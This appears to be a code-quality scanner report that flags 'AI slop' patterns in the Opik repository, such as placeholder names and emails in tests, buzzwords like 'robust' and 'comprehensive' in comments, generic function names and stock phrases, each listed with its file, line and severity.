Fake / Example Data81 hits · 90 pts
SeverityFileLineSnippetContext
LOW…tests/unit/runner/bridge_handlers/test_search_files.py16 ["git", "config", "user.email", "test@test.com"],CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py23 obj = {"name": "John Doe", "email": "john@example.com"}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py29 expected = {"name": "John Doe", "email": "john@example.com"}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py34 obj = {"name": "John Doe"}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py44 expected = {"name": "John Doe"}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py50 "name": "John Doe",CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py66 "name": "John Doe",CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py75 obj = {"name": "John Doe", "age": 30}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py86 expected = {"name": "John Doe", "age": 30}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py91 obj = {"name": "John Doe", "email": "john@example.com", "age": 30}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py165 "name": "John Doe",CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py170 "street": "123 Main Street",CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py102 expected = {"name": "John Doe", "email": "[ANONYMIZED]", "age": 30}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py148 person = Person(name="John Doe", email="john@example.com", age=30)CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py149 person.address["street"] = "123 Main Street"CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py397 obj = {"email": "test@example.com", "name": "John Doe"}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py409 expected = {"email": "PREFIX_test@example.com_SUFFIX", "name": "John Doe"}CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py1230 broken = _Experiment(id="placeholder")CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py59 "email": "user@example.com",CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py60 "profile": {"name": "John Doe", "phone": "555-1234"},CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py60 "profile": {"name": "John Doe", "phone": "555-1234"},CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py72 "data": "user@example.com",CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py77 "data": "John Doe",CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py82 "data": "555-1234",CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py422 "name": "John Doe",CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py423 "phone": "555-1234",CODE
LOW…/python/tests/unit/anonymizer/test_rules_anonymizer.py88 data = {"name": "John Doe", "phone": "123-456-7890", "address": "123 Main St"}CODE
LOW…/python/tests/unit/anonymizer/test_rules_anonymizer.py88 data = {"name": "John Doe", "phone": "123-456-7890", "address": "123 Main St"}CODE
LOW…/python/tests/unit/anonymizer/test_rules_anonymizer.py93 "name": "John Doe",CODE
LOW…/python/tests/unit/anonymizer/test_rules_anonymizer.py118 "name": "John Doe",CODE
LOW…/python/tests/unit/anonymizer/test_rules_anonymizer.py128 "name": "John Doe",CODE
LOW…/python/tests/unit/anonymizer/test_rules_anonymizer.py166 {"name": "John Doe", "contacts": ["john@example.com", "123-456-7890"]},CODE
LOW…/python/tests/unit/anonymizer/test_rules_anonymizer.py176 {"name": "John Doe", "contacts": ["[EMAIL]", "[PHONE]"]},CODE
LOW…hon/tests/unit/api_objects/test_opik_query_language.py797 'created_by = "user@example.com"',CODE
LOW…hon/tests/unit/api_objects/test_opik_query_language.py798 [{"field": "created_by", "operator": "=", "value": "user@example.com"}],CODE
LOW…hon/tests/unit/api_objects/test_opik_query_language.py801 'last_updated_by != "admin@example.com"',CODE
LOW…hon/tests/unit/api_objects/test_opik_query_language.py806 "value": "admin@example.com",CODE
LOW…hon/tests/unit/api_objects/test_opik_query_language.py1037 'created_by ends_with "user@example.com"',CODE
LOW…hon/tests/unit/api_objects/test_opik_query_language.py1042 "value": "user@example.com",CODE
LOW…thon/tests/library_integration/mistral/test_mistral.py563 track_mistral(mistralai.Mistral(api_key="dummy-key"))CODE
LOWsdks/python/src/opik/api_objects/opik_client.py2596 - `created_by = "user@example.com"` - Filter by creatorSTRING
LOWsdks/python/src/opik/api_objects/opik_client.py2688 - `created_by = "user@example.com"` - Filter by creatorSTRING
LOWsdks/python/src/opik/api_objects/opik_client.py2799 - `created_by = "user@example.com"` - Filter by creatorSTRING
LOWsdks/python/src/opik/api_objects/prompt/client.py376 - `created_by = "user@example.com"` - Filter by creatorSTRING
LOWsdks/typescript/tests/unit/prompt/PromptVersion.test.ts272 createdBy: "user@example.com",CODE
LOWsdks/typescript/tests/unit/prompt/PromptVersion.test.ts370 createdBy: "admin@example.com",CODE
LOWsdks/typescript/tests/unit/prompt/PromptVersion.test.ts920 createdBy: "user@example.com",CODE
LOWsdks/typescript/tests/unit/prompt/PromptVersion.test.ts937 expect(version.createdBy).toBe("user@example.com");CODE
LOW…/typescript/tests/unit/query/OpikQueryLanguage.test.ts526 'tags contains "production" and version_count > 1 and created_by = "user@example.com"'CODE
LOW…/typescript/tests/unit/query/OpikQueryLanguage.test.ts544 value: "user@example.com",CODE
LOW…ypescript/tests/unit/client/client-agentConfig.test.ts22 createdBy: "user@example.com",CODE
LOW…ypescript/tests/unit/client/client-agentConfig.test.ts329 expect(blueprint.createdBy).toBe("user@example.com");CODE
LOW…ks/typescript/tests/unit/client/client-prompts.test.ts858 await client.searchPrompts('created_by = "user@example.com"');CODE
LOWsdks/typescript/src/opik/client/Client.ts1650 * const prompts = await client.searchPrompts('created_by = "user@example.com"');COMMENT
LOW.agents/commands/comet/create-and-run-tests.md127 .name("John Doe")CODE
LOW.agents/commands/comet/create-and-run-tests.md153 const mockUser = { id: '1', name: 'John Doe', email: 'john@example.com' };CODE
LOW.agents/commands/comet/create-and-run-tests.md160 expect(screen.getByText('John Doe')).toBeInTheDocument();CODE
LOW.agents/commands/comet/create-and-run-tests.md174 request = UserCreateRequest(name="John Doe", email="john@example.com")CODE
LOW.agents/commands/comet/create-and-run-tests.md193 const mockUser = { id: '1', name: 'John Doe' };CODE
LOW.agents/commands/comet/create-and-run-tests.md200 const result = await client.createUser({ name: 'John Doe' });CODE
21 more matches not shown…
AI Slop Vocabulary22 hits · 44 pts
SeverityFileLineSnippetContext
MEDIUMsdks/python/tests/unit/plugins/pytest/test_hooks.py4# TODO(#5219): move these tests to a public pytest plugin test harness/API.COMMENT
MEDIUM…on/tests/unit/cli/test_export_project_rate_limiting.py454 # Bounded-chunk invariants (robust to the exact chunk boundary):COMMENT
MEDIUM…python/tests/library_integration/adk/test_adk_async.py346 # below so the test stays robust against that model-side variability.STRING
LOWsdks/python/src/opik/decorator/base_track_decorator.py549 # just use output as end argumentsCOMMENT
LOWsdks/python/src/opik/decorator/span_creation_handler.py131 # In that case the decorator should just create a span for the existing trace.COMMENT
MEDIUM…ocessing/emulation/local_emulator_message_processor.py17 """This class serves as a replacement for the real backend and collects all logged messagesSTRING
LOW…e_processing/preprocessing/attachments_preprocessor.py35 # already pre-processed - just return the original message to avoid infinite recursionCOMMENT
MEDIUMsdks/python/src/opik/cli/exports/utils.py138 """Create a comprehensive experiment data structure for export."""STRING
LOW…/src/opik/integrations/agentspec/opik_spanprocessor.py425 # Async methods just call the sync versionsCOMMENT
LOWsdks/python/src/opik/rest_api/core/serialization.py180 # then we can just pass the value through as isCOMMENT
MEDIUMsdks/typescript/src/opik/prompt/versionHelpers.ts83 // Use fast-deep-equal for robust structural comparisonCOMMENT
LOW…ithms/parameter_optimizer/test_sensitivity_analysis.py209 # Should not crash, just use available dataCOMMENT
MEDIUM…pik_optimizer/scripts/datasets/build_bm25_wikipedia.py502 # Generate comprehensive READMECOMMENT
LOW…k_optimizer/src/opik_optimizer/agents/litellm_agent.py87 # If trying to delete logprobs and it doesn't exist, just returnCOMMENT
LOW…k_optimizer/src/opik_optimizer/agents/litellm_agent.py141 # If trying to delete server_tool_use and it doesn't exist, just returnCOMMENT
MEDIUMtests_load/tests/test_image_inference.py920 # Show comprehensive resultsCOMMENT
MEDIUMtests_load/tests/test_image_inference.py829 """Run comprehensive image generation tests across all available providers"""STRING
MEDIUM…to_end/e2e/tests/test-suites/test-suites-smoke.spec.ts51 // Allow some slack: require at least 2/3 passing so the smoke is robustCOMMENT
MEDIUMdeployment/docker-compose/docker-compose.yaml95 # Use Bitnami-compatible data directory for seamless migration from Bitnami imagesCOMMENT
MEDIUM…opik/api/evaluators/AutomationRuleEvaluatorUpdate.java71 // Service layer keeps both fields in sync for seamless migrationCOMMENT
LOW…opik-python-backend/src/opik_backend/studio/helpers.py57 # Create client - it will read from the environment variables we just setCOMMENT
MEDIUMapps/opik-frontend/package-lock.json16027 "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.2.tgz",CODE
Overly Generic Function Names15 hits · 14 pts
SeverityFileLineSnippetContext
LOWsdks/python/tests/e2e/test_guardrails.py49 def test_function():CODE
LOWsdks/python/tests/e2e/test_guardrails.py113 def test_function():CODE
LOW…python/tests/e2e/evaluation/test_test_suite_agentic.py72 def run_task(item: Dict[str, Any]) -> Dict[str, Any]:CODE
LOW…python/tests/e2e/evaluation/test_test_suite_agentic.py152 def run_task(item: Dict[str, Any]) -> Dict[str, Any]:CODE
LOW…python/tests/e2e/evaluation/test_test_suite_agentic.py263 def run_task(item: Dict[str, Any]) -> Dict[str, Any]:CODE
LOWsdks/python/examples/dynamic_tracing_example.py49def process_data(data: Dict[str, Any]) -> Dict[str, Any]:CODE
LOWsdks/python/examples/dynamic_tracing_example.py92 def handle_request(prompt: str, user_type: str) -> str:CODE
LOW…tegrations/langchain/langgraph_async_context_bridge.py40 def process_data(value: int) -> int:STRING
LOWsdks/opik_optimizer/benchmarks/utils/task_runner.py589def execute_task(CODE
LOWtests_load/suite/python_sdk/test_heavy_payload.py40 def handle_request(prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_bursts.py39 def handle_request(prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_bursts.py85 def handle_request(prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_bursts.py144 def handle_request(worker_id: int, prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_ingestion_rate.py43 def handle_request(prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_attachments.py46 def handle_request(prompt: str) -> str:CODE
Slop Phrases9 hits · 14 pts
SeverityFileLineSnippetContext
LOW…cessing/processors/attachments_extraction_processor.py129 delete_after_upload=True, # make sure to delete attachments after upload to avoid leaking space and datCODE
MEDIUM…etrics/conversation/heuristics/degeneration/phrases.py5 "as an ai language model",CODE
MEDIUM…metrics/conversation/heuristics/degeneration/metric.py33 phrases (for example, "as an AI language model..."). Each turn receives aSTRING
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py89 # Don't forget to save the last parameterCOMMENT
LOWextensions/cursor/src/cursor/sessionManager.ts429 // Don't forget to add the last groupCOMMENT
LOW.github/workflows/update_helm_readme.yaml47 echo "::error::Helm docs are out of date. Please run 'pre-commit run helm-docs --all-files' locally and commitCODE
MEDIUM…/IntegrationExplorer/components/QuickInstallDialog.tsx124"Please run the application and verify if Opik is capturing traces as expected. Let me know if you need adjustments."CODE
LOW…/src/api/datasets/useDatasetItemBatchDeleteMutation.ts62 ? "The suite item has been removed. Don't forget to save your changes to create a new version."CODE
LOW…/src/api/datasets/useDatasetItemBatchDeleteMutation.ts63 : "The suite items have been removed. Don't forget to save your changes to create a new version.",CODE
Example Usage Blocks4 hits · 6 pts
SeverityFileLineSnippetContext
LOWscripts/check_clickhouse_migrations_cluster.sh7# Usage:COMMENT
LOWscripts/analyze_trivy_report.sh5# Usage:COMMENT
LOW.github/scripts/send-slack-message.sh8# Usage:COMMENT
LOW.github/scripts/notify-slack-test-failure.sh14# Usage:COMMENT
Dead Code1 hit · 2 pts
SeverityFileLineSnippetContext
MEDIUM…ks/python/tests/unit/decorator/test_tracker_outputs.py690CODE
TODO Padding1 hit · 1 pts
SeverityFileLineSnippetContext
LOW…python/src/opik/integrations/anthropic/opik_tracker.py60 ) # TODO: implement a proper support for vertex and bedrockCODE